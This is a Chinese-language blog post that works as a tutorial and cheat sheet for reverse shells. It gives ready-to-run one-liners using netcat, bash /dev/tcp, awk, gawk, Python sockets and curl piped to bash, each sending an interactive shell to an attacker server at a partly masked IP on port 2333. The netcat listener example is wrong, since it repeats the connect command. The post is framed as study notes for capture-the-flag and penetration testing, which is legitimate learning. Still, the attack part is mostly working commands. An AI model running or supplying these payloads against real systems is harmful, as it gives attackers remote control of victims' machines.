• 关于反弹Shell个人的一些理解与学习收获


    反弹Shell

    概念:

    反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。

    原因:

    •目标机因防火墙受限,目标机器只能发送请求,不能接收请求。

    •目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。

    •对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

    对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

    作用:

    反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入

    以下详细介绍Windows和Linux系统下反弹shell的几种方式。

    环境:

    攻击机:华为云服务器 

    靶机:linux

    方法:

     1、利用利用netcat反弹shell

    Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。

    攻击机开启本地监听:

    netcat 120.xx.xx.141 2333 -e /bin/bash
    

    目标机主动连接攻击机: 

    netcat 120.xx.xx.141 2333 -e /bin/bash

    效果如下:

     

    2、利用Bash反弹shell 

    这个方法不管是打CTF或者是挖洞的时候用的比较多,个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话

    bash -i >& /dev/tcp/120.xx.xx.141/2333 0>&1

    下是针对Bash反弹一句话进行了拆分说明:

    命令

    命令详解

    bash -i

    产生一个bash交互环境。

    >&

    将联合符号前面的内容与后面相结合,然后一起重定向给后者。

    /dev/tcp/47.xxx.xxx.72/2333

    Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。

    0>&1

    将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

    Bash反弹一句完整的解读过程就是:

    Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

     

    但是这里 会提示没有/dev/tcp 这是怎么回事 ,解释和解决方法如下

    https://evilpan.com/2021/04/25/reverse-shell/

    但是一般情况是直接可以进行反弹的

     3、awk 一句话反弹 shell

    awk是一种处理文本文件的语言,是一种解释型的编程语言,可以使用awk来处理反弹的命令。

    目标机输入:

    awk 'BEGIN {s = "/inet/tcp/0/120.xx.xx.141/2333"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
    

    攻击机还是一样开启监听:

     nc -lvvp 2333
    

    与 bash 的连接相比,awk 的实现增加了更多功能,可以指定 IPv4/IPv6,以及指定绑定的本地端口。 

    4、 利用gawk反弹
    gawk 'BEGIN{s="/inet/tcp/0/120.xx.xx.141/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

    5、Python 脚本反弹shell 

     当目标机上有python环境就饿可以使用下面指令

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xx.xx.141",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

     

    6、Curl配合Bash反弹shell 

     

    在目标机上执行 curl 攻击者web服务ip|bash,该 ip 的web服务目录里的 index 文件上含有 bash 一句话,就可以反弹shell。

    首先,在攻击者自己的服务器 web 目录里面创建一个index文件(index.php或index.html),内容如下:

    bash -i >& /dev/tcp/攻击者主机ip/port 0>&1


    开启2333端口的监听。

    然后再目标机上执行如下,即可反弹shell:

    curl 120.xxx.xxx.72|bash

    效果: 

    总结: 

    个人认为第2,5,6种方法较为常用,2是最常用的可以深入了解

  • 相关阅读:
    【剑指Offer】11.旋转数组的最小数字
    MyBatis的缓存机制: 一级缓存和二级缓存
    C · 进阶 | 慎看!深剖文件操作,怕你停不下
    vue3.0+vite+ts项目搭建报错问题的处理
    MM32F0020 UART1空闲中断接收
    NoKia 8250维修笔记
    【多模态融合】TransFusion学习笔记(2)
    css发展史、快速入门、导入方式
    vue 修改 el-cascader 面板的样式
    文件输入和输入出处理(六)-序列化和反序列化
  • 原文地址:https://blog.csdn.net/m0_63138919/article/details/134388421